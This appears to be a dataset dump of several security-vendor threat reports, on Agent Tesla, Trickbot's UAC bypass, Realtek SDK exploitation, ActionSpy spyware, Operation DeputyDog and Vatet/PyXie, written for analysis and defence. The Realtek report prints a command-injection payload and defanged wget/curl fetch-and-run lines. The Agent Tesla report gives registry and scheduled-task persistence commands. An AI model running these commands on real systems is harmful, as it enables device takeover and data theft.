text
stringlengths
8
115k
# Agent Tesla | Old RAT Uses New Tricks to Stay on Top Jim Walter As other researchers have recently noted, the Agent Tesla RAT (Remote Access Trojan) has become one of the most prevalent malware families threatening enterprises in the first half of 2020, being seen in more attacks than even TrickBot or Emotet and only slightly fewer than Dridex. Although the Agent Tesla RAT has been around for at least 6 years, it continues to adapt and evolve, defeating many organizations’ security efforts. During the COVID-19 pandemic, new variants have been introduced with added functionality, and the malware has been widely used in Coronavirus-themed phishing campaigns. ## Agent Tesla | Background & Overview Agent Tesla is, at its core, a keylogger and information stealer. First discovered in late 2014, there has been steady growth in the use of Agent Tesla over the last 1-2 years. The malware was initially sold in various underground forums and marketplaces, as well as its very own AgentTesla.com site (now defunct). Agent Tesla, like many of its contemporaries, offered both the malware itself as well as a management panel for administration and data collection. Information harvested from infected devices quickly becomes available for the attacker via the panel interface. When originally launched, various ‘packages’ were available for purchase. Each package was basically differentiated by the license duration and build/update access. At the time, pricing was quite competitive with a 1-month license selling for $12.00 USD all the way up to 6-month licenses going for $35.00. It is also worth noting that, like many other tools of this nature, cracked and leaked versions of Agent Tesla were quick to appear. Early versions of Agent Tesla also touted the full suite of features as one would expect to find in a modern RAT, including: - Multi Language Support - PHP Web Panel - Automatic Activation upon payment (for direct customers) - 24/7 support - Stable and Fast execution - Multiple delivery methods for keystroke logs, screenshots, and clipboard pulls - Support for multiple Windows versions (XP upward) ## Delivery Mechanism Like many other threats, the primary delivery mechanism for Agent Tesla is email (phishing messages). Attackers are often timely with their social engineering lures, and the current pandemic is not off limits to the attackers. In the last few months, attackers have been observed spreading Agent Tesla via COVID-themed messages, often masquerading as information or updates from the WHO (World Health Organization). Actors behind Agent Tesla campaigns have also used malicious Office documents to facilitate first-stage delivery. Specially-crafted documents, exploiting Office vulnerabilities such as CVE-2017-11882 and CVE-2017-8570, have been leveraged, even in present-day campaigns. These and similar exploits allow for quick delivery and execution with minimal user interaction (beyond opening the malicious documents and allowing active content to proceed). ## Feature Set of New Agent Tesla Variants Over time, additional features have been added to Agent Tesla. These improvements include more robust spreading and injection methods as well as discovery and theft of wireless network details and credentials. Currently, Agent Tesla continues to be utilized in various stages of attacks. Its capability to persistently manage and manipulate victims’ devices is still attractive to low-level criminals. Agent Tesla is now able to harvest configuration data and credentials from a number of common VPN clients, FTP and Email clients, and Web Browsers. The malware has the ability to extract credentials from the registry as well as related configuration or support files. Our analysis of a swatch of current Agent Tesla samples reveals the following list of targeted software: - 360 Browser - Apple Safari - Becky! Internet Mail - BlackHawk - Brave - CentBrowser - CFTP - Chedot - Chromium (general) - Citrio - Claws Mail - Coccoc - Comodo Dragon - CoolNovo - CoreFTP - CyberFox - Elements - Epic Privacy - FileZilla - FlashFXP - Flock - Google Chrome - IceCat - IceDragon - IncrediMail - Iridium - KMeleon - Kometa - Liebao - Microsoft IE & Edge - Microsoft Outlook - Mozilla Firefox - Mozilla Thunderbird - OpenVPN - Opera - Opera Mail - Orbitum - PaleMoon - Postbox - QIP Surf - Qualcomm Eudora - SeaMonkey - Sleipnir 6 - SmartFTP - Sputnik - Tencent QQBrowser - The Bat! Email - Torch - Trillian Messenger - UCBrowser - Uran - Vivaldi - WaterFox - WinSCP - Yandex Harvested data is transmitted to the C2 via SMTP or FTP. The transfer method is dictated per the malware’s internal configuration, which also includes credentials (FTP or SMTP) for the attacker’s C2. Current variants will often drop or retrieve secondary executables to inject into, or they will attempt to inject into known (and vulnerable) binaries already present on targeted hosts. For example, as we see in sample 4007480b1a8859415bc011e4981f49ce2ff7a7dd7e883fe70d9f304cbfefedea, a copy of RegAsm.exe (dropped into %temp%) is subsequently injected into. That new instance of RegAsm.exe is then responsible for handling the brunt of the malicious activity (data harvesting, exfiltration). We can also see frequent use of ‘Process Hollowing’ as an injection method. Process Hollowing allows for the creation or manipulation of processes through which sections of memory are unmapped (hollowed) with that space then being reallocated with the desired malicious code. Some examples get a little less creative with regards to process creation and subsequent injection. For example, in sample b74bcc77983d587207c127129cfda146644f6a4078e9306f47ab665a86f4ad13, we can observe it creating hidden folders and processes in %temp%, and using those hidden process instances for the primary infection routines, and as the persistent process (set via Registry). ## Execution Behavior Upon launch, the malware will begin to gather local system information, install the keylogger module, as well as initializing routines for discovering and harvesting data. Part of this process includes basic WMI queries. Examples include: - start iwbemservices::execquery - select * from win32_operatingsystem - start iwbemservices::execquery - select * from win32_processor Recent samples, with the ability to discover wireless network settings and credentials will spawn an instance of netsh.exe after a brief sleeping period (after launch). The syntax utilized initially is: - Netsh.exe wlan show profile Persistence is typically achieved via registry key entry or scheduled task. For example, in sample 7ec2b40879d6be8a8c6b6ba239d5ae547604ad2605de0d2501a4cca25915afa1, a copy of the executable file is dropped into ~AppDataLocalTemp, and targeted with the following syntax to generate the persistent task: - Schtasks.exe /Create /TN "UpdatesxjZWstBWrIuw" /XML C:UsersxxxxxxAppDataLocalTemptmp1718.tmp In the sample b74bcc77983d587207c127129cfda146644f6a4078e9306f47ab665a86f4ad13, we see an example of establishing persistence via the registry. Upon launch, an instance of the malware is dropped into %temp% as a hidden file, in a hidden folder. The following command is then used to create the Autorun registry key: - reg add "HKCUSoftwareMicrosoftWindows NTCurrentVersionWindows" /v Load /t REG_SZ /d "%temp%FolderNname.exe.lnk" /f ## Conclusion Agent Tesla has been around for several years now, and yet we still see it utilized as a commodity in many low-to-mildly sophisticated attacks. Attackers are continually evolving and finding new ways to use tools like Agent Tesla successfully while evading detection. At the end of the day, if the goal is to harvest and steal data, attackers will go with what works; thus, we still see ‘commodity’ tools like Agent Tesla, as well as Pony, Loki, and other low-hanging fruit malware being used. When combined with timely social engineering lures, these non-sophisticated attacks continue to be successful. Detection and prevention are key to reducing exposure to these threats. The SentinelOne platform is fully capable of detecting and preventing Agent Tesla-based malware campaigns. ## Indicators & IOCs **MITRE ATT&CK** - Modify Registry (T1112) - Subvert Trust Controls: Install Root Certificate (T1553.004) - Hide Artifacts: NTFS File Attributes (T1564.004) - Hijack Execution Flow: DLL Search Order Hijacking (T1574.001) - Process Injection: Process Hollowing (T1055.012) - Data from Information Repositories (T1213) - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001) - Process Injection (T1055) - Unsecured Credentials: Credentials In Files (T1552.001) - System Information Discovery (T1082) - Query Registry (T1012) - OS Credential Dumping (T1003) - Scheduled Task (T1053) **SHA256** - 70aecc29ffb60caf068e4d8107f4d53fcdbd333bed7ac6fb3a852b00e86ded31 - 7d1bcec8a3f71910e15cbb3adae945cd5096b7de259b51aef8f2e229bd4b40e2 - 7ec2b40879d6be8a8c6b6ba239d5ae547604ad2605de0d2501a4cca25915afa1 - 9b27388be292aea50d62cfebd130a9832f0d676feb28771d70d3e30bdb117f3a - a040efaf5dfac863805103ea0aa90a15b3690ad060188a15ea7d68491b274123 - aa08d96a25908ce76e07475aefbbe192bd812665a5600dc30600688510dd033e - be26ad023b732078c42b4f95067fb9107fe88aebd7ebbf852e7e968e50eee8a0 - 1abf66ab839c550bc77d97d1644c1225935a86b9591e9a95bcd606ebec6bbc19 - b74bcc77983d587207c127129cfda146644f6a4078e9306f47ab665a86f4ad13 - f44c6c8c1c81f9990f11a0f70e6517c358fc1ee00a78b32461d4a2594b48e47d - 9fee57918672137160499dcd1a099670ef8f9a787f3a1ad6d8123df26cddbc3b - 4007480b1a8859415bc011e4981f49ce2ff7a7dd7e883fe70d9f304cbfefedea - 590c19542f6959d6424107eb4f2998b04d035575341b1f23a40dea6d82aecadd - 648261052662b044dc233349ccdfa9dfd6853ec9a21ced386f8f172b2568b0d1 - f24018dead69b0f899d33e73f72f5c3ef6f3c391850484b06b042f36dbc08cac - 7ce7bf11f6285621381b80027c488e9b5009205131a89738975ccc89574a1533 - e2473526523180f460af4d8e164df9060c9f328cc7c0bae5846d51b28c12febe - 7adc0e8236262080e62c4fbb97e745880247f9e244ae8718e60cc217a3ae773b - 0107fadc185fd6b53dc033d4a79e53ef1621ae623917de029b6c02eeae2021c1 - 388386f3361138514c561dcf6169e8f9e8726c91e2dc66663efb07bf21ece052 - 507b63c73ba3bee19c8c8afb40526c1196240376277f4b49e25bedc5d866b980 **SHA1** - a2ad3ec4cd2d70edf2bc9089c493f898b7da44a5 - 8f841e8f7d2c3334145c8c9f89c8cd6929a06b2a - 3390272bb793ad15a45d647c3e5a716145fd262a - 8cd26c88b74f913f6e1c9d71a8d1e9aa53b7c6f6
# Trickbot Trojan Leveraging a New Windows 10 UAC Bypass The Trickbot trojan is one of the most advanced malware delivery vehicles currently in use. Attackers have leveraged it to deliver a wide variety of malicious code, in many different methods. Just yesterday, Bleeping Computer reported that news articles from President Trump’s impeachment trial have been used to hide Trickbot from antivirus scanners. On almost a daily basis, malicious actors reinvent Trickbot and work to find new pathways to deliver the trojan onto user machines. This is what makes Trickbot among the most advanced malware delivery vehicles; the constant evolution of methodologies used for delivery. The latest revision, which the Morphisec Labs team detected in new samples, leverages the Windows 10 WSReset UAC Bypass to circumvent user account control and deliver its payload onto user machines. ## The Trickbot Trojan and Windows 10 The WSReset UAC Bypass process begins with Trickbot checking to see if the system it’s on is running Windows 7 or Windows 10. If it is running under Windows 7, it will utilize the CMSTPLUA UAC bypass (the same one as in previous samples). It’s only when the system is running Windows 10 that Trickbot uses the WSReset UAC Bypass. The WSReset UAC Bypass, discovered in March 2019, allows Trickbot authors to take advantage of the WSReset.exe process. The WSReset.exe process is a Microsoft signed executable that is used to reset Windows Store settings, according to its manifest file. What’s most important here, though, is that the ‘autoElevate’ property is set to “true.” This is what allows the WSReset UAC Bypass to be used for privilege escalation. Trickbot decrypts its strings in order to use the WSReset UAC Bypass, such as the registry path and the command to execute. Next, Trickbot uses “reg.exe” in order to add the relevant keys that allow it to utilize the WSReset UAC Bypass. The final step in this bypass is to execute WSReset.exe, which will cause Trickbot to run with elevated privileges without a UAC prompt. Trickbot does that using ‘ShellExecuteExW’ API. This final executable allows Trickbot to deliver its payload onto workstations and other endpoints. ## Morphisec Secures Your Endpoints Against the Trickbot Malware The Morphisec Unified Threat Prevention Platform blocks Trickbot before it is able to execute its process, including the WSReset UAC Bypass, through the power of moving target defense. By morphing the application memory structures on endpoints, we take away the attackers’ ability to accurately target our customers’ critical systems. This protects workstations, servers, VDIs, and cloud workloads against this and other damaging attacks. ### IOC: (SHA-1) - b9cc1b651f579ff1afb11427f0ec1c882afde710 - 24263d91575bb825c33e3fd27f35bc7bd611cee3 - 864d3e3f7ad0f144f8d838ea9638d4c264c5c063 - f33c057d652aa70c5f1332e14c0b8d9c77a5aa1c - b1f7f71b5f7fee1cf38e2591e50cb181f7bd5353 - 6de843fb12f456b0ea42876d82f39fe35b5cf6ca
# 透明部落利用新冠疫苗热点对印度医疗行业的定向攻击活动分析 高级威胁研究院 360威胁情报中心 收录于合集 # 南亚地区 17 个 # APT 61 个 # APT-C-56 透明部落 3 个
# Attacks Continue Against Realtek Vulnerabilities By September 2, 2021 As we predicted in last week’s post, threat actors continue to utilize new Realtek vulnerabilities disclosed by IoT Inspector Research Lab to distribute malware. Starting on August 19th, Juniper Threat Labs observed a new set of attacks in the wild on IoT firmware built with the Realtek SDK, this time targeting CVE-2021-35395, which was just disclosed on August 16 by IoT Inspector. (Some of these attacks were previously noted in a SAM Seamless Network blog post.) These attacks are ongoing. ## The Attack The vulnerabilities in CVE-2021-35395 affect software built with the Realtek Jungle SDK (versions v2.x up to v3.4.14B) that utilize an SDK-provided management interface over HTTP. Among these vulnerabilities is a command injection on the “formWsc” page caused by a failure to sanitize input. Upon receiving the peerPin parameter, the server copies the submitted value directly into a shell command string which is then executed: ``` "iwpriv wlan%d-vxd set_mib pin=%s" ``` The “%s” is replaced by the contents of peerPin. By adding a semicolon to terminate the iwpriv statement, it is possible to execute arbitrary commands on the device. For example, given an HTTP POST request containing `peerPin=12345;malicious_command`, the device will first execute the iwpriv command as expected, but will then also execute `malicious_command`. In one set of observed attacks, starting on August 24th, the attackers sent POST requests similar to the following: The injected command is: ``` wget hxxp://37[.]0.11.132/rh -O - | sh ``` which downloads and executes a script named ‘rh’. This script is nearly identical to the one featured in last week’s post. The only change is that the parameter passed to the downloaded binary is “exploit.realtek.http” instead of “exploit.realtek”. When the botnet agent starts up, it opens a listening port on port 44842, and then opens a TCP connection to babaroga[.]lib (188[.]166.196.89, resolved specifically by DNS server 185[.]121.177.177) on port 53 and registers the compromised computer with the botnet, including an identifier — in this case, “exploit.realtek.http” — to indicate which attack was successful. We observed another set of attacks, first noted by SAM Seamless Network, that also used the same proof-of-concept exploit from the initial disclosure but with a different payload: The injected commands in the peerPin parameter attempt to download a malicious script called `lolol.sh` using either wget or curl and then execute it: ``` cd /tmp; wget hxxp://212[.]192.241.87/lolol.sh; curl -O hxxp://212[.]192.241.87/lolol.sh; chmod 777 lolol.sh; sh lolol.sh; ``` The `lolol.sh` script starts by deleting logs and killing a large number of named processes and services, then specifically finding and killing processes using a significant amount of CPU time. The script then tries to download a set of malicious binaries, one for each common CPU architecture. As before, the final payload is Mirai botnet malware. Each binary is renamed to nginx (a common web server and load balancer) before the script attempts to run it. Only the binary matching the target device architecture will successfully execute, and that process will immediately rename itself to avoid being terminated the next time `lolol.sh` runs. (Line 60 appears to be an error in the script.) To ensure persistence, the script downloads the latest version of `lolol.sh` and sets it to run every 10 minutes as a cron job. Finally, the script adds firewall rules to prevent the device from being reinfected, blocking inbound connectivity to the ports to which the vulnerable server is known to bind. ## Detection The malicious POST requests exploiting CVE-2021-35395 are detected by Juniper’s NGFW SRX series with IDP signature APP:MISC:REALTEK-JUNGLE-SDK-CI. The binaries and servers used in these attacks are blocked by Juniper Advanced Threat Prevention Cloud. ## IOCs ``` 26a79029381745c4a9fce656f49d84ca058c132cc228316b359a36f6a505b057 dark.86_64 0473ad0259470808a1647ab093f735d8ba2e2b38161c6cc01018505079f850db dark.arm5 1a4077a5babf5eb892e573334a260d7457871ff608ee5755bee706acf14c2148 dark.arm6 c481c8ae614abb2c7bf0ffd8094dabb6edc22c9146854ce1ee937ff6f9b3caf4 dark.arm7 d7c66e79fe334f528efb926f4eb9494ac915a83964d11c2d5bad5407e4b483fa dark.m68k 171b3c4c6bc55c1e267929962105bd77d62e647b4c7beb56d0a61c23a129d9f3 dark.mips 3bd4a60d5614e77b2f0c08d27f184d698097c84368e377a4c5376f99a735dcf0 dark.mpsl c1064e2b8be2015d06d11492d25931e8739028bdb89c8f0510b04278aa1b944b dark.ppc f76d017a46373a16338dc55d1468e126850fdea5800dcf7f9800b25dd43ad84b dark.sh4 eb9e47d6c312374a4d00b96cc9b0df3fa5f62d5aad3c892a44c62e34e464f7a3 dark.x86 9793ac5afd1be5ec55476d2c205260d1b7af6db7cc29a9dc0f7fbee68a177c78 lolol.sh 0018e361be72a44b7b38bbecfede8d571418e56d4d62a8e186991bef322a0c16 b.arm5 171961046ee6d18424cf466ad7e01096aecf48ed602d8725e6563ad8c61f1115 b.arm7 924b6aec8aa5935e27673ee96d43dd0d1b60f044383b558e3f66cd4331f17ef4 b.mips 98fc6b2cbd04362dc10a5445c00c23c2a2cb39d24d91beab3c200f87bfd889ab b.mpsl 9bdb7d4778261bb34df931b41d32ee9188d0c7a7e10d4d68d56f6faebd047fe4 b.sh4 2b57648fe6a75b589517cac9c515e0e6739c4aa39bfe7b3e81e2460b60edecd4 rh ``` ``` 37[.]0.11.132 212[.]192.241.72 212[.]192.241.87 103[.]113.143.232 103[.]142.18.38 103[.]142.18.60 103[.]242.224.152 103[.]242.224.164 103[.]242.224.179 117[.]210.156.253 122[.]169.57.70 185[.]222.59.10 31[.]210.20.100 babaroga[.]lib (resolved by 185[.]121.177.177) 188[.]166.196.89 ```
# Phishing Attacks from Earth Empusa Reveal ActionSpy While tracking Earth Empusa, also known as POISON CARP/Evil Eye, we identified an undocumented Android spyware we have named ActionSpy (detected by Trend Micro as AndroidOS_ActionSpy.HRX). During the first quarter of 2020, we observed Earth Empusa’s activity targeting users in Tibet and Turkey before they extended their scope to include Taiwan. The campaign is reportedly targeting victims related to Uyghurs by compromising their Android and iOS mobile devices. This group is known to use watering hole attacks, but we recently observed them using phishing attacks to deliver their malware. The malware that infects the mobile devices is found to be associated with a sequence of iOS exploit chain attacks in the wild since 2016. In April 2020, we noticed a phishing page disguised as a download page of an Android video application that is popular in Tibet. The phishing page, which appears to have been copied from a third-party web store, may have been created by Earth Empusa. This is based on the fact that one of the malicious scripts injected on the page was hosted on a domain belonging to the group. Upon checking the Android application downloaded from the page, we found ActionSpy. ## ActionSpy Overview ActionSpy, which may have been around since 2017, is an Android spyware that allows the attacker to collect information from the compromised devices. It also has a module designed for spying on instant messages by abusing Android Accessibility and collecting chat logs from four different instant messaging applications. ### Phishing Attacks Delivering ActionSpy Earth Empusa’s use of phishing pages is similar to our recent report on Operation Poisoned News, which also used web news pages as a lure to exploit mobile devices. Earth Empusa also used social engineering lures to trick its targets into visiting the phishing pages. We found some news web pages, which appear to have been copied from Uyghur-related news sites, hosted on their server in March 2020. All pages were injected with a script to load the cross-site scripting framework BeEF. We suspect the attacker used the framework to deliver their malicious script when they found a targeted victim browsing the said sites. However, our investigation did not yield any script when we attempted to access said phishing pages. How these pages were distributed in the wild is also unclear. Upon continued investigation in late April 2020, we found another phishing page that appears to be copied from a third-party web store and injected with two scripts to load ScanBox and BeEF frameworks. This phishing page invites users to download a video app that is known to Tibetan Android users. We believe the page was created by Earth Empusa because the BeEF framework was running on a domain that reportedly belongs to the group. The download link was modified to an archive file that contains an Android application. Analysis then revealed that the application is an undocumented Android spyware we named ActionSpy. ### Breaking Down ActionSpy This malware impersonates a legitimate Uyghur video app called Ekran. The malicious app has the same appearance and features as the original app. It is able to achieve this with VirtualApp. In addition, it’s also protected by Bangcle to evade static analysis and detection. A legitimate Ekran APK file is embedded in the ActionSpy assets directory and installed in a virtual environment after VirtualApp is ready when ActionSpy is launched the first time. ActionSpy’s configuration, including its C&C server address, is encrypted by DES. The decryption key is generated in native code. This makes static analysis difficult for ActionSpy. Every 30 seconds, ActionSpy will collect basic device information like IMEI, phone number, manufacturer, battery status, etc., which it sends to the C&C server as a heartbeat request. The server may return some commands that will be performed on the compromised device. All the communication traffic between C&C and ActionSpy is encrypted by RSA and transferred via HTTP. ### ActionSpy Modules ActionSpy supports the following modules: - **location**: Get device location latitude and longitude - **geo**: Get geographic area like province, city, district, street address - **contacts**: Get contacts info - **calling**: Get call logs - **sms**: Get SMS messages - **nettrace**: Get browser bookmarks - **software**: Get installed APP info - **process**: Get running processes info - **wifi connect**: Make device connect to a specific Wi-Fi hotspot - **wifi disconnect**: Make the device disconnect to Wi-Fi - **wifi list**: Get all available Wi-Fi hotspots info - **dir**: Collect specific types of file list on SDCard, like txt, jpg, mp4, doc, xls... - **file**: Upload files from device to C&C server - **voice**: Record the environment - **camera**: Take photos with camera - **screen**: Take screenshot - **wechat**: Get the structure of WeChat directory - **wxfile**: Get files that received or sent from WeChat - **wxrecord**: Get chat logs of WeChat, QQ, WhatsApp, and Viber ### Abuse of Accessibility Normally, a third-party app can’t access files belonging to others on Android. This makes it difficult for ActionSpy to steal chat log files from messaging apps like WeChat directly without root permission. ActionSpy, in turn, adopts an indirect approach: it prompts users to turn on its Accessibility service and claims that it is a memory garbage cleaning service. Once the user enables the Accessibility service, ActionSpy will monitor Accessibility events on the device. This occurs when something “notable” happens in the user interface (such as clicked buttons, entered text, or changed views). When an Accessibility Event is received, ActionSpy checks if the event type is VIEW_SCROLLED or WINDOW_CONTENT_CHANGED and then checks if the events came from targeted apps like WeChat, QQ, WhatsApp, and Viber. If all the above conditions are met, ActionSpy parses the current activity contents and extracts information like nicknames, chat contents, and chat time. All the chat information is formatted and stored into a local SQLite Database. Once a “wxrecord” command is pushed, ActionSpy will gather chat logs in the database and convert them into JSON format before sending it to its C&C server. We believe ActionSpy has existed for at least three years, based on its certificate sign time (2017-07-10). We also sourced some old ActionSpy versions that were created in 2017. ### More on Earth Empusa: Watering Hole Attacks to Compromise iOS Systems Earth Empusa also employs watering hole attacks to compromise iOS devices. The group injected their malicious scripts on websites that their targets could potentially visit and load the injected script from it. We found two kinds of attacks they injected into compromised websites: 1. One injection we found is the ScanBox framework. The framework can collect information from a website’s visitors by using JavaScript to record keypresses and harvest the profiles of the OS, browser, and browser plugins from the client environment. The framework is usually used during the reconnaissance stage, allowing them to understand their targets and prepare for the next stage of the attack. 2. Another injection is their exploit chain framework, which exploits the vulnerabilities on the iOS devices. When a victim accesses the framework, it checks the User-Agent header of the HTTP request to determine the iOS version on the victim’s device and replies with a corresponding exploit code. If the User-Agent doesn’t belong to any of the targeted iOS versions, the framework will not deliver any additional payload. In the first quarter of 2020, the exploit chain framework was upgraded to include a newer iOS exploit that can compromise iOS versions 12.3, 12.3.1, and 12.3.2. Other researchers have also published details of this updated exploit. We have observed these injections on multiple Uyghur-related sites since the start of 2020. In addition, we have also identified a news website and political party website in Turkey that have been compromised and injected with the same attack. In a more recent development, we found the same injection on a university website as well as a travel agency site based in Taiwan in March 2020. These developments have led us to believe that Earth Empusa is widening the scope of their targets. ### Best Practices and Solutions Earth Empusa is still very active in the wild. We are constantly tracking and monitoring the threat group as it continues to develop new ways to attack its targets. iOS users are advised to keep their devices updated. Android users, on the other hand, are encouraged to install apps only from trusted places such as Google Play to avoid malicious apps. Users can also install security solutions, such as the Trend Micro™ Mobile Security, that can block malicious apps. End users can also benefit from their multilayered security capabilities that secure the device owner’s data and privacy, and features that protect them from ransomware, fraudulent websites, and identity theft. For organizations, the Trend Micro™ Mobile Security for Enterprise suite provides device, compliance and application management, data protection, and configuration provisioning. The suite also protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps, and detects and blocks malware and fraudulent websites. Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability. ### Indicators of Compromise All of the malicious apps below are detected as AndroidOS_ActionSpy.HRX. | SHA256 | Package Name | Label | |------------------------------------------------------------------------------------------------------|-------------------------------|------------------------| | 656a2562426e504f42ad9aa2bd53445d8e299935c817805b0d9b9431521769271 | com.omn.vvi | Ekran | | b6e2fdbf022cd009585f62a3de71464014edd58125eb7bc15c2c670d6d5d3590 | com.isyjv.klxblnwc.r | 系统优化 | | de6065c63f05f8cddaec2f43a3789cca7d8e16221bd04bf3ce8092809b146ebe | com.isyjv.klxblnwc.r | 系统优化 | | 2117e2252fe268136a2833202d746d67bf592de819cc1600ac8d9f2738d8d4d6 | com.isyjv.klxblnwc | Service Runtime Library | | 588b62a2e0bffa8935cd08ae46255a972b0af4966483967a3046a5df59d38406 | com.isyjv.klxblnwc | Service Runtime Library | | d6478b4b7f0ea38947d894b1a87baf4bed7a1ece934fff9dfc233610de232814 | com.isyjv.klxblnwc | Service Runtime Library | | 8d0a123e0fe91637fb41d9d9650a4b9c75b6ce77a2b51ac36f05a337da7afd80 | com.ecs.esap | Service Runtime Library | | 9bc16f635fde4ff0b6b02b445a706d885779611b7813c5607ab88fdff43fcc2f | com.cd.weixin | VWechat | | 334dbd15289aaeaf3763f1702003de52ff709515246902f51ee87a41467a8e55 | com.android.dmp.rec | Recording | | 50c10ab93910a6e617c85a03f8c38a10a7c363e2d37b745964e696da8f98a93d | com.android.dmp.rec | Recording | | 6575eeda2a8f76170fb6034944eeda5c88dac8009edccc880124fa729dd3c1fd | com.android.dmp.l | Location | | eff30f6cc2d5d04ce4aef0c50f1fb375fb817a803bf3e8e08c847f04658185ba | com.android.dmp.l | Location | | a0a48d7e0762ab24b2ec3ec488b011db866992db5392926fe43dd3d1c398e30d | com.android.dmp.cm | Camera | | 088769a80b39d0da26c676a5a52eaccdb805dc67cba85e562785c375c642b501 | com.android.dmp.c | Core | | 87306b59aaaba0ea92ea6a05feb9366eeb625e8da08ed3ef6c86a5cf394fada5 | com.android.dmp.c | Core | | Indicator | Type | |------------------------------------|------------------------------------| | gotossl.ml | Domain used by Earth Empusa | | goforssl.top | Domain used by Earth Empusa | | geo2ipapi.org | Domain used by Earth Empusa | | appbuliki.com | Domain used by Earth Empusa | | umutyole.com | Domain used by Earth Empusa | | t.freenunn.com | Domain used by Earth Empusa | | start.apiforssl.com | Domain used by Earth Empusa | | bloomberg.com.cm | Domain used by Earth Empusa | | static.apiforssl.com | Domain used by Earth Empusa | | cdn.doublesclick.me | Domain used by Earth Empusa | | static.doublesclick.info | Domain used by Earth Empusa | | status.search-sslkey-flush.com | Domain used by Earth Empusa | | http://114.215.41.93/ | ActionSpy C&C URL | | http://static.doubles.click:8082/ | ActionSpy C&C URL | ### MITRE ATT&CK Techniques *Details on specific techniques were not included in the original text.*
# Operation DeputyDog: Zero-Day (CVE-2013-3893) Attack Against Japanese Targets FireEye has discovered a campaign leveraging the recently announced zero-day CVE-2013-3893. This campaign, labeled ‘Operation DeputyDog’, began as early as August 19, 2013, and appears to have targeted organizations in Japan. FireEye Labs has been continuously monitoring the activities of the threat actor responsible for this campaign. Analysis based on our Dynamic Threat Intelligence cluster shows that this current campaign leveraged command and control infrastructure related to the attack on Bit9. ## Campaign Details On September 17, 2013, Microsoft published details regarding a new zero-day exploit in Internet Explorer that was being used in targeted attacks. FireEye can confirm reports that these attacks were directed against entities in Japan. Furthermore, FireEye has discovered that the group responsible for this new operation is the same threat actor that compromised Bit9 in February 2013. FireEye detected the payload used in these attacks on August 23, 2013, in Japan. The payload was hosted on a server in Hong Kong (210.176.3.130) and was named “img20130823.jpg”. Although it had a .jpg file extension, it was not an image file. The file, when XORed with 0×95, was an executable (MD5: 8aba4b5184072f2a50cbc5ecfe326701). Upon execution, 8aba4b5184072f2a50cbc5ecfe326701 writes “28542CC0.dll” (MD5: 46fd936bada07819f61ec3790cb08e19) to this location: C:\Documents and Settings\All Users\Application Data\28542CC0.dll In order to maintain persistence, the original malware adds this registry key: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\28542CC0 The registry key has this value: rundll32.exe “C:\Documents and Settings\All Users\Application Data\28542CC0.dll”,Launch The malware (8aba4b5184072f2a50cbc5ecfe326701) then connects to a host in South Korea (180.150.228.102). This callback traffic is HTTP over port 443 (which is typically used for HTTPS encrypted traffic; however, the traffic is not HTTPS nor SSL encrypted). Instead, this clear-text callback traffic resembles this pattern: ``` POST /info.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded Agtid: [8 chars]08x User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: 180.150.228.102:443 Content-Length: 1045 Connection: Keep-Alive Cache-Control: no-cache [8 chars]08x&[Base64 Content] ``` The unique HTTP header “Agtid:” contains 8 characters followed by “08x”. The same pattern can be seen in the POST content as well. A second related sample was also delivered from 111.118.21.105/css/sun.css on September 5, 2013. The sun.css file was a malicious executable with an MD5 of bd07926c72739bb7121cec8a2863ad87 and it communicated with the same communications protocol described above to the same command and control server at 180.150.228.102. ## Related Samples We found that both droppers, bd07926c72739bb7121cec8a2863ad87 and 8aba4b5184072f2a50cbc5ecfe326701, were compiled on 2013-08-19 at 13:21:59 UTC. As we examined these files, we noticed a unique fingerprint. These samples both had a string that may have been an artifact of the builder used to create the binaries. This string was “DGGYDSYRL”, which we refer to as “DeputyDog”. As such, we developed the following YARA signature, based on this unique attribute: ``` rule APT_DeputyDog_Strings { meta: author = “FireEye Labs” version = “1.0” description = “detects string seen in samples used in 2013-3893 0day attacks” reference = “8aba4b5184072f2a50cbc5ecfe326701” strings: $mz = {4d 5a} $a = “DGGYDSYRL” condition: ($mz at 0) and $a } ``` We used this signature to identify 5 other potentially related samples: | MD5 | Compile Time (UTC) | C2 Server | | --- | ------------------- | --------- | | 58dc05118ef8b11dcb5f5c596ab772fd | 2013-08-19 13:21:58 | 180.150.228.102 | | 4d257e569539973ab0bbafee8fb87582 | 2013-08-19 13:21:58 | 103.17.117.90 | | dbdb1032d7bb4757d6011fb1d077856c | 2013-08-19 13:21:59 | 110.45.158.5 | | 645e29b7c6319295ae8b13ce8575dc1d | 2013-08-19 13:21:59 | 103.17.117.90 | | e9c73997694a897d3c6aadb26ed34797 | 2013-04-13 13:42:45 | 110.45.158.5 | Note that all of the samples, except for e9c73997694a897d3c6aadb26ed34797, were compiled on 2013-08-19, within 1 second of each other. We pivoted off the command and control IP addresses used by these samples and found the following known malicious domains recently pointed to 180.150.228.102. | Domain | First Seen | Last Seen | | --- | --- | --- | | ea.blankchair.com | 2013-09-01 05:02:22 | 2013-09-01 08:25:22 | | rt.blankchair.com | 2013-09-01 05:02:21 | 2013-09-01 08:25:24 | | ali.blankchair.com | 2013-09-01 05:02:20 | 2013-09-01 08:25:22 | | dll.freshdns.org | 2013-07-01 10:48:56 | 2013-07-09 05:00:03 | ## Threat Actor Attribution While these attackers have a demonstrated previously unknown zero-day exploits and a robust set of malware payloads, using the techniques described above, it is still possible for network defense professionals to develop a rich set of indicators that can be used to detect their attacks. This is the first part of our analysis; we will provide more detailed analysis on the other components of this attack in a subsequent blog post.
# When Threat Actors Fly Under the Radar: Vatet, PyXie and Defray777 **By Ryan Tracey and Drew Schmitt** **November 6, 2020** **Category:** Malware, Ransomware, Unit 42 **Tags:** Defray777, PyXie, Vatet ## Executive Summary As security practitioners, we spend a lot of time focusing on the threat actors and malware families that leverage the most impactful exploits or affect the highest number of victims. But what happens when a threat actor goes “low and slow” to fly under the radar? One could argue that, in that situation, the threat actor may end up having more impact than some of the more prolific threat groups. We first noticed that there may be a relationship between the Vatet loader, PyXie Remote Access Tool (RAT), and Defray777 ransomware when there were remnants and/or detections of all three in various Incident Response and Managed Threat Hunting engagements. After digging deep into each malware family, it became apparent that Vatet, PyXie, and Defray777 are all associated with the same financially motivated threat group that has been operating since as early as 2018. That threat group, sometimes referred to as PyXie by BlackBerry Cylance and GOLD DUPONT by 